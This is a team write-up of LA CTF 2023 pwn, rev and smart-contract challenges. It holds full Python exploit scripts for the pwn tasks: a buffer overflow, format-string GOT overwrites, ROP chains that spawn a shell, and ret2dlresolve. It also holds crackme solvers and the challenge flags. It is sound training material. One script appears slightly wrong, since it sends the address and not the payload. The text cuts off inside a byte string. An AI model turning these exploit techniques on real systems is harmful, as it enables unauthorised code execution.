Pwn (7/9 solved)

Gatekeep (529 solves)

Solved by a1668k

This is a very easy pwn challenge. From the source code, we can see that the program generates a password with /dev/urandom. The goal of this challenge is to pass the password check in order to print the flag.

To solve this challenge, we need to understand one special property about strcmp(). strcmp() will compare two input strings character by character until null-character(\0) appears. Since /dev/urandom have a chance of 1/256 that the generated number is a null byte \x00. Therefore, we can simply keep sending requests until the password is just a null byte.

Solve Script:

from pwn import *
while (true):
    r = remote('lac.tf', 31121)
    r.recvuntil(b'Password:\n')
    r.sendline(b'\x00')
    next = r.recvline()
    if (next[-4:] == b'ou!\n'):
        print(r.recv())
        break
    r.close()

Flag: lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}

bot (197 solves)

Solved by a1668k

This challenge is a basic buffer overflow challenge. By looking at the source code, obviously, input is vulnerable to a buffer overflow attack.

Preparation

└─$ checksec bot
[*] '/home/kali/Desktop/CTFs/laCTF/bot/bot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

By checking the security of the executable, neither PIE nor Canary has been activated. By looking at the c source code, there is a line calling system("cat flag.txt"). Therefore, we can simply overwrite the $rsp and jump to that line to run system(). But before reaching the rsp, we still need to avoid the program reaches to exit(1). Therefore, we will have to pass either if-statement.

Solve script:

from pwn import *

r = remote('lac.tf', 31180)

system_addr = 0x40129a

payload = b'give me the flag\x00'.ljust(0x40+0x8) + p64(system_addr)
r.sendline(system_addr)

r.interactive()

Flag: lactf{hey_stop_bullying_my_bot_thats_not_nice}

Rickroll (90 solves)

Solved by Botton

#include <stdio.h>

int main_called = 0;

int main(void) {
    if (main_called) {
        puts("nice try");
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf("Lyrics: ");
    char buf[256];
    fgets(buf, 256, stdin);
    printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
    printf(buf);
    printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
    return 0;
}

Very short source code, it obivously require the format string exploit.

When printf() only have one argument, and the argument is a simple constant string with a “\n” in the end, the compiler will convert it to be puts() instead of printf() corrected by a1668k

So the last printf function should be puts

puts("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");

We can overwrite puts@got to the address of main() to keep us in a loop.

One thing need to take care is that we should make the main_called variable to be 0 when we back to main().

In first loop, we leak stack, libc address and overwrite main_called to 0 and puts@got to main().

In second loop, we use format string exploit to build a rop chain to get shell.

from pwn import *

TARGET = './rickroll'
HOST = 'lac.tf'
PORT = 31135
context.arch = 'amd64' # i386/amd64
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
elf = ELF(TARGET)

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote(HOST, PORT)
    # libc = ELF('')
else:
    p = process(TARGET)
    libc = elf.libc
    gdbscript = '''
    b *0x4011F3'''
    if len(sys.argv) > 1 and sys.argv[1] == 'gdb':
       gdb.attach(p, gdbscript=gdbscript)

#--- helper functions
s       = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
#---
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

main = elf.symbols['main']
printf_got = elf.got['printf']
puts_got = elf.got['puts']
main_called = 0x0000000040406c

payload = b''
payload += b"%12$hhn|"
payload += b"%81c%13$hhn|||||" 
payload += b"%186c%14$hhn||||" 
payload += b">>>%15$s"
payload += p64(main_called)
payload += p64(puts_got)
payload += p64(puts_got+1)
payload += p64(printf_got)

sla("Lyrics:", payload)

ru(b">>>")
libc_base = uu64(r(6)) - 0x056cf0
#libc_base = uu64(r(6)) - 0x61c90
leak("libc_base", libc_base)

system = libc_base + 0x048e50
#system = libc_base + 0x52290

payload = b"%36$hhn|"
payload += fmtstr_payload(7, {printf_got: system}, 1)
payload = payload.ljust(240, b"A")
payload += p64(main_called)

sla("Lyrics:", payload)
p.interactive()

Rut-roh-relro (70 solves)

Solved by Botton

This challenge provides a short source code

#include <stdio.h>

int main(void) {
    setbuf(stdout, NULL);
    puts("What would you like to post?");
    char buf[512];
    fgets(buf, 512, stdin);
    printf("Here's your latest post:\n");
    printf(buf);
    printf("\nWhat would you like to post?\n");
    fgets(buf, 512, stdin);
    printf(buf);
    printf("\nYour free trial has expired. Bye!\n");
    return 0;
}

format string attack again, but this time is Full RELRO which means we can’t ovrwrite got table.

However, it give us two times to use format string attack. So again, first print to leak stack and libc addres and second print to build rop chain to get shell

from pwn import *

TARGET = './rut_roh_relro'
HOST = 'lac.tf'
PORT = 31134
context.arch = 'amd64' # i386/amd64
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
elf = ELF(TARGET)

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote(HOST, PORT)
    libc = ELF('libc-2.31.so')
else:
    p = process(TARGET, env={"LD_PRELOAD": "./libc-2.31.so"})
    libc = ELF('libc-2.31.so')
    gdbscript = '''
    b *main+179'''
    if len(sys.argv) > 1 and sys.argv[1] == 'gdb':
       gdb.attach(p, gdbscript=gdbscript)

#--- helper functions
s       = lambda data               :p.send(data)      
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#---

payload = b""
payload += b">%71$p|%72$p"

sla("What would you like to post?", payload)

ru(b">")
libc_base = int(r(14), 16) - 0x23d0a
ru(b"|")
stack = int(r(14), 16)
ret_addr = stack - 0xf0

leak("libc_base", libc_base)
leak("stack", stack)

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc_base + 0x0000000000023796


payload = b""
payload += fmtstr_payload(6, {ret_addr: pop_rdi+1, ret_addr+8: pop_rdi, ret_addr+0x10: binsh, ret_addr+0x18: system})
sla("What would you like to post?", payload)
p.interactive()

Redact (46 solves)

Solved by cire meat pop and Botton

The source code is simple (only 31 line of code), and the bug comes from:

  if (index < 0 || index > text.size() - placeholder.size()) {
    std::cout << "Invalid index\n";
    return 1;
  }
  std::copy(placeholder.begin(), placeholder.end(), text.begin() + index);

Since <string>.size() return size_t, index > text.size() - placeholder.size() must be true, thus index can be very large if placeholder.size() > text.size(). As a result, the std::copy can copy out-of-bound, lead to a bof.

As usually, crafting a rop for ret2libc is the simplest approach but cout cannot print out non-printable character while we locally testing it (although later we found a writeup doing the same thing with success). What can we do if we cannot leak libc? Partial overwrite or ret2dlresolve. Lucky PIE is disabled so that ret2dlresolve is still viable, here is the payload:

from pwn import *

context.binary = elf = ELF('./redact')
p = remote('lac.tf',31281)

basic_string = 0x4010E0
cin = 0x4041E0
cin_op = 0x401060
pop_rdi = 0x40177b
pop_rsi_r15 = 0x401779
getline_plt = 0x401030

rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.ret2dlresolve(dlresolve)

text = b'a'
placeholder = b'b'*72 + flat(pop_rdi, dlresolve.data_addr-0x50, basic_string)
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt) #don't why this getline not working
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt)
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, cin_op)
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt) #don't why this getline not working
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt)
placeholder += rop.chain()

p.sendlineafter(b': ',text)
p.sendlineafter(b': ',placeholder)
p.sendlineafter(b': ',b'0')
p.sendline(b'1'*0xff)
p.sendline(str(dlresolve.data_addr))
p.sendline(dlresolve.payload)

p.interactive()

Breakup (23 solves)

Solved by Kaiziron

Second blood.

This is a simple challenge, the objective is to remove the ERC721 NFT that is owned by SomebodyYouUsedToKnow contract which has the friendName of “You”

Setup.sol will deploy the Friend.sol and the SomebodyYouUsedToKnow contract, and SomebodyYouUsedToKnow contract will mint a friend NFT which has the name of “You”

There is a burn function in Friend.sol :

    function burn(uint256 tokenId) public {
        _burn(tokenId);
        delete friendNames[tokenId];
    }

It has no access control that check msg.sender is the owner of the NFT, allowing anyone to call burn() to burn anyone’s NFT and delete the friend name for the NFT

So just call burn(1), as the NFT owned by SomebodyYouUsedToKnow contract has the ID of 1

Flag : lactf{s0m3_p30pl3_w4n7_t0_w4tch_th3_w0r1d_burn}

EVMVM (7 solves)

Solved by Kaiziron

First blood.

The writeup is quite long, so I’ll just put a link here : https://github.com/Kaiziron/lactf2023-writeup/blob/main/evmvm.md

rev (7/8 solved)

string-cheese (644 solves)

Solved by fsharp

The Linux binary checks your input against a hardcoded string. If they match, you get the flag.

You could run strings against the program (as hinted by the challenge name) or open it up in a reverse engineering tool like Ghidra or IDA Freeware to see what the correct input is. In this case, it’s blueberry.

Flag: lactf{d0n7_m4k3_fun_0f_my_t4st3_1n_ch33s3}

caterpillar (398 solves)

Solved by fsharp

Second blood.

A JavaScript file is given. If the flag string variable matches all given conditions, it contains the flag.

The conditions are in the form of flag.charCodeAt(<caterpillar1>) == caterpillar2. caterpillar1 is the index position of a flag character, and caterpillar2 is what that character’s ASCII code should be.

Getting the flag involves doing the following:

  1. Manually extract all indices and their corresponding ASCII codes.
  2. Evaluate them in a JavaScript interpreter (e.g. in your browser’s console) to turn the ‘caterpillars’ into numbers.
  3. Sort the ASCII values by their indices in ascending order.
  4. Turn the ASCII values into their corresponding ASCII characters.

Flag: lactf{th3_hungry_l1ttl3_c4t3rp1ll4r_at3_th3_fl4g_4g41n}

finals-simulator (306 solves)

Solved by fsharp

Second blood.

You are asked 3 math questions, where answering them all correctly gives you the flag.

Q1: What is sin(x)/n? A: six, because the input is strcmp’d against this.

Q2: What’s the prettiest number? A: 13371337, because the prettiest number n satisfies the condition 42 * (n + 88) = 561599850. Rearrange this equation to get n = 561599850 / 42 - 88.

Q3: What’s the integral of 1/cabin dcabin? A: I don’t know what you’re talking about but I still know the answer, which is it's a log cabin!!!.

For the last question, each input character c is transformed into (17 * c) % mod, where mod = 0xfd. They are then strcmp’d against a hardcoded sequence of bytes enc, and the answer is correct if they match.

The correct input could be reverse engineered by solving for c for each byte in enc. Let’s say the byte is e. We get this equation:

(17 * c) % mod = e

Since we’re performing modular arithmetic, we could check if there is a modular multiplicative inverse for 17 with respect to the modulus. Thankfully there is one, since 17 and the modulus are coprime (i.e. gcd(17, mod) == 1).

In Python, the inverse could be found by computing pow(17, -1, mod), which evaluates to 134. So, now our equation becomes:

(17 * c * 17^-1) % mod = (e * 17^-1) % mod c % mod = (e * 17^-1) % mod c % mod = (e * 134) % mod

Assuming that the input only contains printable ASCII characters, which means c < mod. So: c = (e * 134) % mod

With this, we could get the input by running the following script:

mod = 0xfd
mult = 17
inv = pow(mult, -1, mod) # 134

enc = bytes.fromhex("0ec99db82683264174e926a583940e63373737")
q3_ans = bytes([(e * inv) % mod for e in enc]).decode()
print(q3_ans)

Flag: lactf{im_n0t_qu1t3_sur3_th4ts_h0w_m4th_w0rks_bu7_0k}

universal (210 solves)

Solved by fsharp

The Java class file asks us for the flag, then checks our input against a total of 45 conditions. If all conditions are satisfied, our input is the flag.

The first condition simply checks if the flag is 38 characters long, but the rest are more complicated, which are in the form of ((bytes[a] ^ bytes[b] * 7 ^ ~bytes[c] + 13) & 0xFF) == d, and a, b, c, and d are numbers in a rather wide range.

We could use an SAT solver like Z3 to figure out the flag for us. It is easy to do this in Python:

  1. Create a variable that stores the flag.
  2. Add the complicated conditions into the solver.
  3. Check whether the conditions make it possible to solve for the flag.
  4. If yes, return the model that contains the flag and get the flag from it.

The script used is as follows:

from z3 import *

s = Solver()

# step 1
pw_len = 38
pw = [BitVec("pw%s" % (i), 8) for i in range(pw_len)]

# step 2
s.add(((pw[34] ^ (pw[23] * 7) ^ ((~pw[36]) + 13)) & 0xFF) == 0xB6)
s.add(((pw[37] ^ (pw[10] * 7) ^ ((~pw[21]) + 13)) & 0xFF) == 0xDF)
s.add(((pw[24] ^ (pw[23] * 7) ^ ((~pw[19]) + 13)) & 0xFF) == 0xCD)
# the remaining conditions are omitted for brevity

# step 3 (if this prints 'sat', proceed to the next step)
print(s.check())

# step 4
m = s.model()
flag = ""

for i in range(pw_len):
    flag += chr(int(str(m.evaluate(pw[i]))))

print(flag)

Flag: lactf{1_d0nt_see_3_b1ll10n_s0lv3s_y3t}

ctfd-plus (173 solves)

Solved by fsharp

Third blood.

Each byte of the user input is checked against a function’s output, which takes in one byte at a time from a certain hardcoded byte sequence. The user input is the flag if they all match. However, the moment an unmatched byte is found, the program quits.

Here, unlike finals-simulator, the byte sequence gets ‘decoded’ into the correct input characters by the program. So, rather than writing a function that turns the byte sequence into the flag, the following could be done:

  1. Patch the program so that it never checks if our input is correct. This means the program would never quit if our input is incorrect.
  2. Set a breakpoint in the program right after a byte gets ‘decoded’ so that we could get its value.

In this case, we patch the je 0x10f8 instruction at 0x110e to jmp 0x10f8, and set a breakpoint there to get the value of the al register, which contains the ‘decoded’ byte. Finally, turn all the bytes into their corresponding ASCII characters to get the flag.

Flag: lactf{m4yb3_th3r3_1s_s0m3_m3r1t_t0_us1ng_4_db}

switcheroo (96 solves)

Solved by fsharp

Second blood.

A static Linux binary is provided. It checks our input to see if it is 63 characters long, then does something weird to each input character to check if they satisfy a condition. If they all do, the input is the flag.

Since this program doesn’t use any libraries like the standard C library, the pseudocode generated by reverse engineering tools like Ghidra or IDA Freeware is not quite helpful. Thankfully, it’s pretty small, so it’s possible to understand what it’s doing by reading its disassembly.

To explain what the program does, I’ve modified the disassembly output I got from Radare, added some comments, and put it below:

0x401000    lea rsi, [0x402000]
0x401008    mov edi, 1
0x40100d    mov edx, 0x12
0x401012    mov eax, 1
0x401017    syscall                         ; write(stdout, "Give me the flag: ")

; read input
0x401019    xor edi, edi
0x40101b    mov rsi, rsp
0x40101e    mov edx, 0x64
0x401023    xor eax, eax
0x401025    syscall                         ; read(stdin, flag, 100)

; check input length
0x401027    cmp rax, 0x40                   ; are 64 chars read? (i.e. is the input 63 chars long?)
0x40102b    jne fail                        ; if not, the input's wrong

; outer loop variable initialization
0x40102d    xor r12, r12                    ; r12 = 0 (number of wrong chars)
0x401030    lea r11, [0x40203c]             ; r11 = address of bytes_arr
0x401038    xor r10, r10                    ; r10 = 0 (index i)

; outer loop for checking each input char

   loop_cond    cmp r10, rax                    ; are all input chars checked?
    0x40103e    jge check                       ; if yes, do the final check

    ; inner loop variable initialization
    0x401040    movzx r9, byte [rsp + r10]      ; r9 = flag[i]
    0x401045    mov r8, qword [r9*8 + r11]      ; r8 = bytes_arr[8 * r9 : 8 * (r9 + 1)][::-1]
    0x40104d    rol r8, 8                       ; r8 = r8[1:] + bytes([r8[0]])
    0x401051    movzx r13, r8b                  ; r13 = r8[-1] (a limit)
    0x401055    xor r14, r14                    ; r14 = 0 (index j)

    ; inner loop for checking the input char with 8 particular bytes

 inner_loop_cond    cmp r14, r13                    ; is j >= the limit?
        0x40105b    jge wrong_chr                   ; if yes, the input char is wrong

        0x40105d    rol r8, 8                       ; r8 = r8[1:] + bytes([r8[0]])
        0x401061    cmp r8b, r10b                   ; is r8[-1] == i?
        0x401064    je chk_next_chr                 ; if yes, the input char is correct!
        0x401066    inc r14                         ; otherwise, j += 1
        0x401069    jmp inner_loop_cond

   wrong_chr    inc r12                         ; increment the number of wrong chars
chk_next_chr    inc r10                         ; increment the index i to check the next char
    0x401071    jmp loop_cond

; check if any wrong chars are found
   check    test r12, r12                   ; are there any wrong chars?
0x401076    jne fail                        ; if yes, the input's wrong
0x401078    jmp success                     ; otherwise, it's correct!

 success    lea rsi, [0x40202a]             ; rsi = "That was the flag!"
0x401084    mov edx, 0x12
0x401089    jmp end

    fail    lea rsi, [0x402012]             ; rsi = "That was not the flag :("
0x401093    mov edx, 0x18
0x401098    jmp end

     end    mov edi, 1
0x40109f    mov eax, 1
0x4010a4    syscall                         ; write(stdout, rsi)

Therefore, we just need to emulate what the program does and get the flag from all valid characters found:

def rotate_left_1_byte(qword):
    return qword[1:] + bytes([qword[0]])

flag_len = 63
binary = open("switcheroo", "rb").read()

first_8_bytes_in_arr = bytes.fromhex("0605040302010007")
bytes_arr_index = binary.index(first_8_bytes_in_arr)
bytes_arr = binary[bytes_arr_index:]

flag = ""
for i in range(flag_len):
    for c in range(0x21, 0x7f):
        qword = bytes_arr[8 * c : 8 * (c + 1)][::-1]
        qword = rotate_left_1_byte(qword)
        limit = qword[-1]
        j = 0
        isValid = True
        while True:
            if j >= limit:
                isValid = False
                break
            qword = rotate_left_1_byte(qword)
            if qword[-1] == i:
                break
            j += 1
        if isValid:
            flag += chr(c)
            break

print(flag)

Flag: lactf{4223M8LY_5W17Ch_57473M3n75_4r3_7h3_4850LU73_8357_u+1f60a}

snek (26 solves)

Solved by fsharp, harrier and RaccoonNinja; written by fsharp

A Python script is given, which unserializes a pickled object. Running it on Python 3.10 or above starts a game of Snake where you control a snake, avoid going outside the map, and collect orbs. Each time an orb gets collected, the map changes. There are a total of 10 fixed maps, and once an orb from each map is collected, the game is over.

I played around a bit and every time I reached the end, the snake became sad. Clearly I needed to know more about what to do to make the snake happy and get the flag.

At first, I was panicking because I’ve never reverse engineered a pickled object before and was unaware of tools that could be used to analyze one. My original plan was to read the CPython source code to see how a pickled object is serialized and manually reverse engineer from there onwards, without using any other tool. Thankfully, harrier pointed out that such tools already exist: He pointed me to pickletools, which could disassemble pickled objects in the command line.

After sharing the disassembly of the file with my teammates, I began skimming through it. A big portion of the disassembly is structured as follows:

    2: X    BINUNICODE '0'
    8: \x94 MEMOIZE    (as 0)
    9: 0    POP
   10: X    BINUNICODE '1'
   16: \x94 MEMOIZE    (as 1)
   17: 0    POP
       <lots of memoizes and pops... snip...>
  802: c    GLOBAL     'builtins str.join'
  821: V    UNICODE    ''
  823: (    MARK
  824: g        GET        25
  828: g        GET        18
  832: g        GET        12
  836: g        GET        20
  840: g        GET        21
  844: g        GET        14
  848: l        LIST       (MARK at 823)
  849: \x86 TUPLE2
  850: R    REDUCE
  851: c    GLOBAL     'builtins str.join'
  870: V    UNICODE    ''
  872: (    MARK
  873: g        GET        14
  877: g        GET        23
  881: g        GET        12
  885: g        GET        24
  889: g        GET        13
  893: g        GET        14
  897: g        GET        88
  901: g        GET        21
  905: g        GET        24
  909: g        GET        23
  913: g        GET        16
  917: l        LIST       (MARK at 872)
  918: \x86 TUPLE2
  919: R    REDUCE
  920: \x93 STACK_GLOBAL
       <lots of mark + gets... snip...>

Many printable characters were put into a dictionary (‘memoized’), and individual characters were picked from the dictionary to create a string via __import__("builtins").str.join(). The string was later used to load a function from a Python module. The function gets put onto the stack used by the pickle VM.

Seeing this, RaccoonNinja quickly whipped up a script that printed these constructed strings:

from string import printable
from pickletools import genops
def genfromindices(l):
    return "".join(printable[x] for x in l)
p = b'...'

mark = False
i=0
for opcode, arg, pos in genops(p):
    if opcode.name == 'MARK':
        mark = []
    elif opcode.name == 'LIST':
        print("".join(mark))
        mark = False
    elif opcode.name == 'GET':
        mark.append(printable[arg])

With his help, a lot of precious time has been saved, and more focus could be put onto understanding the logic of the pickled file.

I then began reverse engineering the file. Still panicking a bit, I was initially unsure whether my reverse engineering was correct. harrier was very patient with me and confirmed that my work should be correct. This gave me a lot of confidence to work through most of the rest of the file on my own.

With a little more help from harrier, I finally realized that the pickled file was creating a code object and executing it. After discussing with him on an approach to reverse engineering the code object, I had an idea.

First, create a PYC file containing the code object. This could be done by running the following script in Python 3.10:

import importlib, types

binbytes = b'd\x00f\x03h\x05{\x07t\t`\nf\x0fr\x0fz\x10M\x11p\x14r\x17t\x1ag\x1ax\x1cz\x1dL%O&Y\'\'\'L*W(H)S+X1V6\x974^7\\?\x99:T=Z8\xe3@*C M\xe5F I.B\xefL&O4[\xf1R<U2\\\xfbX2[8Q\xfd^\x08a\x06n\xc7d\x0eg\x0cg\xc9j\x0bg\x13j\x0cs\x16|\x13t\xf5v\x05\x7f\x1ek\x01z\x1a~\xfd\x89\xfe\x81\xe3\x85\x05\x86\xf5\x80\xed\x8b\xf1\x87\x87\x8f\xf4\x83\xef\x98\xe0\x93\xea\x94\x1b\x98\xde\x9b\xc1\xb0\xe3\x93\xc4\xb3\xdf\xae\xd0\xa3\xda\xa4+\xa8\xee\xab\xf1\xb3\xd3\xa1\xcc\xbd\xce\xbd\xd2\xb7\xca\xb1\xce\xb9\xc8\xd8\xc0\xb0\xda\xac\xf7\xc1\xbf\xce\xb5\x93\xba\xcb\xb4\xc7\xac\xc9\xb0\xc8\xb2\xc7\xc9\xd1\xa4\xd3\xa6\xa5\xaa\xda\xbc\xcd\xed\xdb\xa1\xd0\xaf\x89\x9c\xec\x86\xf6\xd3\xe5\x9b\xea\x99\xbf\x96\xe0\x90\xe0\x8a\xf9\xe7\xf1\xc5\xf3\x89\xfe\x87\xb9\x8c\xfe\x86\xf0\x98\xec\x9a\xe8\x8d\x03\x03\x03p\rz\x0e\x8b\x08n\ng\t\x9e\x0ebLn\x1a\xb4\x1c\xb7\x17e\x16n\x11`\x12j\x14\xa3#Q\xb4X*\x86+\x89)\xba*^\x1eZ$L>\xb12I:J8\\!\x02;A2B0$@)G6\xed:N\xe8D6D\xedLOO,W6RMU+G$I>ZE]"X\x04`{cse\x1aw\x0cqsk\x10j\nwiqes\x12w\x0bf\x04h\x1eze}\x1a~\xeb\x81\xf1W\xf8\x94\xe2\x86\x91\x89\xf6\x88\xe7\x88\xfd[\xec\x80\xf6\x8b\x8d\x95\xf2\x96\xf3\x99\xe9O\xe0\x8c\xfa\x87\xb9\xa1\xde\xa0\xcf\xa0\xd4}\xdc\xae\xce\xb2/\xac\xaf\xaf\xd4\xb1\xe1\xb3\xc8\xb3\x16\xba\xc4\xa8\x1b\xba\xbd\xbd\xc2\xae\xbc\xc4\xbe\xcb\xdd\xc5\xb0\xc7X\xc8\xb8\xe5\xb0\xc5\xaa\xd7\xe7\xd1\xaf\xdb\xa8\xdfv\xd9\xa4\xc8{\xda\xdd\xdd\xa2\xd7\x94\xe9\x9e\xe6g\xe4\x8d\xe5x\xe8\x98\xc6\x88\xec\x93\xfd\x8c\xfb\xb6\xf3\xa9\xe3\xaa\xf5\x85\xea\x87\xef\x80\xef\x9a\xe5N\x01\x7f\x11x\x17z\x04l\x12\x19\x0b5\rs\x1dl\x03n\x00h\x16\x02\x17d\r\r\x1b+\x1dc\rQ\xdb^\'X7M%\xb8(X\x0cX*J3\xb3033@2B8\\$^%\xbf?\x9e/\xe1A\xe2R\xe5E\xc5FII.K\x1fM:H4N\xd1RUU2W\x0bY4r [\xfeM\xc1acc\nA\x1ah\x0cI\x01i\xfcl\x1c-\x0cv\x16kmu}w\x04~\x1eze}\x18}\xfd\x86\xec\x96\xf8\x8a\xe2\xa6\xe3\x8b\x1a\x8a\xfe\xdc\xf2\x88\xf4\x89\x8b\x93\xe8\x92\xf2\x96\x81\x99\x91\x9b\xfa\x9f\xe3\x98\xce\xa7\xd6\xa4\xc0\x87%\xa6\xa9\xa9\xce\xab\xff\xad\xd2\xae\x10\xa2\xd6\x90\x15\xb4\xb7\xb7\xd6\xb2\xc6\xb2\x1c\xa9\xca\xaa\xa4\xe5A\xc2d\xd4g\xc7h\xdfk\xcbm\xcc\xcf\xcf\xa1\x99'
binbytes2 = b'.\x94t\x94 ?kens\x06\x8c\x9a\x99\x99\x99\x99\x99\xb9?G\x94(: desufnoc kens\x10\x8c\x94R\x01\x8c\x94L\x01\x8c\x94(: das kens\x0b\x8c\x94r\x01\x8c\x94txt.galf\x08\x8c\x94D: yppah kens\r\x8c\x02K\x059M\x94(: daed kens\x0c\x8c\x01K\x94\x85\x94hsulf\x05\x8c\x94\n\x01\x8c\x94.\x01\x8c\x94o\x01\x8c\x94#\x01\x8c\x94\x00\x8c\x88\x94\x86\x00K\x01K\x94\x86\x00K\x00K\x94\x91_h\x94\x86\x06K\x06K\xadh\x00\x00\x01!j\x94\x86\x07K\x01K\x94\x86\x13K\x08K\x85h\x81h\x00\x00\x01 jSh~h\'h\x94\x86\nK\x04K"h\x94\x86\x0fK\x07K\xe3h\x94\x86\x03K\x12K\x94\x86\x04K\x06K\xdfh\x00\x00\x01\njvh\x1ch\x94\x86\x04K\x02K\x94\x86\x07K\x00K\x94\x86\x08K\x08K\xbeh\xddh\x14h\x94\x86\x06K\x05K\x94\x86\x03K\x03K\x98h\x94\x86\x0eK\x06Kkh\x00\x00\x01\x04j\x95h\xd9h\x94\x86\x0eK\x0bK\xd8h\xd7h\x94\x86\x13K\x05K\xd6h\xd4h\xf0h\nh\x0fh\x06heh\x94\x86\x13K\x0cKdh\xedh(\x94\x91\x94\x86\x0eK\x07K\xd0h\x94\x86\x05K\x07K\xceh\x94\x86\x05K\x10K\xe8h\\h\x81h\x94\x86\tK\x00K\x94\x86\rK\x11K\xa9h}h\x94\x86\x00K\tK\xc6hOh!h\xe2h\x94\x86\x0fK\x10K{h\xa5h\xfah\xc4h\x94\x86\x00K\x12K\x94\x86\x07K\x0fK\x94\x86\nK\rK1h\x1dh\x94\x86\x04K\rK\x94\x86\x07K\x0bK\x19h\x17h\x94\x86\x12K\x05Krh\x94\x86\x02K\x08K\x14h\xf4hDh\x94\x86\x13K\x12K\x94\x86\rK\x10K\x94\x86\x05K\x06K\x94\x86\x0eK\rK\x11h\xb5h\x94\x86\x11K\x00K\x94\x86\x06K\nK\x08h\x94\x86\x01K\x0eK\x8chbh5h(\x94\x91\x94\x86\x08K\x07K\xe9h\x94\x86\x0eK\x10K0h\xe8h\xcch\xcdh]h\x94\x86\x04K\nK,h\xa8h~h\xfch\xc7h"h!h{hMh\xf8h\xc2h\xc1h\x94\x86\x0bK\x01KthyhIh\x94\x86\x11K\x11K\xa0h\x16h\x94\x86\x0fK\x0cK\x94\x86\x02K\x04K\x97h\xb9h\x94\x86\x11K\rK\x94\x86\x11K\x02KAh\x94\x86\x0bK\x0fK\x94\x86\x08K\rK\x11h\x94\x86\tK\x01K\x94\x86\x04K\x10K>h\x94\x86\x02K\rKhh\x94\x86\x12K\x13K\xd6h;h\nh\xb0h\x06hbh(\x94\x913h`h\xbch\xadh\xach.hYh\x94\x86\x04K\x01K\xe7h\xa9h\xc9h(h\x94\x86\x04K\x13K\'hRhPh\x94\x86\x13K\x06K\xe2h\x94\x86\x0cK\x10K\x94\x86\rK\rK\x94\x86\x10K\rK\xe1h\x94\x86\x13K\x0bK\xc2hxhJh\x1bh\x1ah\x94\x86\x01K\x0bKph\x94\x86\x02K\x13K\xddh\x94\x86\x0eK\x04K\x99hDhBh\x94\x86\x0fK\x01K\x94\x86\x01K\x12K\x94\x86\x0bK\rK\xd6h\x07h\nh\x94\x86\x13K\x03K\x91h\x05h\x94\x86\x00K\x13K\x94\x86\x07K\x0eK\x03h\x94\x86\x07K\x0cK\x94\x86\x00K\x04K(\x94\x91\x94\x86\x12K\x0fK\x94\x86\x0bK\x07K\x94\x86\x06K\x02KWh\x94\x86\nK\x13K\x82h\xaah\x94\x86\x01K\x01K\x94\x86\x07K\x08KShRh)h&h\xc7h\x94\x86\x02K\x03K\xa7h!h\x94\x86\x10K\x06K\x94\x86\x13K\x0fK{h\xa5h\xc4h\x94\x86\x0eK\x01K\x94\x86\x11K\nK\x94\x86\nK\x02K\xc1huhth\x1bh\x94\x86\nK\tK\xa0h\x94\x86\x0cK\x03K\xbdh\x99h\x94\x86\x06K\x0cK\x94\x86\x08K\x0fK\x94\x86\x0bK\x00K\x94\x86\x0bK\x02K\xb3h\x94\x86\x12K\x11K\x94\x86\x03K\nK\x94\x86\x0eK\tK\xb1h\x94\x86\x02K\x0bK\x0eh\x94\x86\x06K\x11Keh\x94\x86\x02K\tK\x94\x86\x0cK\x04K\x8fh(\x94\x91\x94\x86\x11K\x10K\x94\x86\x12K\x0bK\x94\x86\nK\x01K/h\x94\x86\x06K\x0fK\x94\x86\x12K\tK\x94\x86\x03K\x02K\x81h\x94\x86\x00K\rKXhVh\xa8h\x94\x86\x0eK\x03K\x94\x86\x0bK\x03K\x94\x86\x04K\x11K"h\x94\x86\x0bK\x0cK!h\x94\x86\nK\x06K 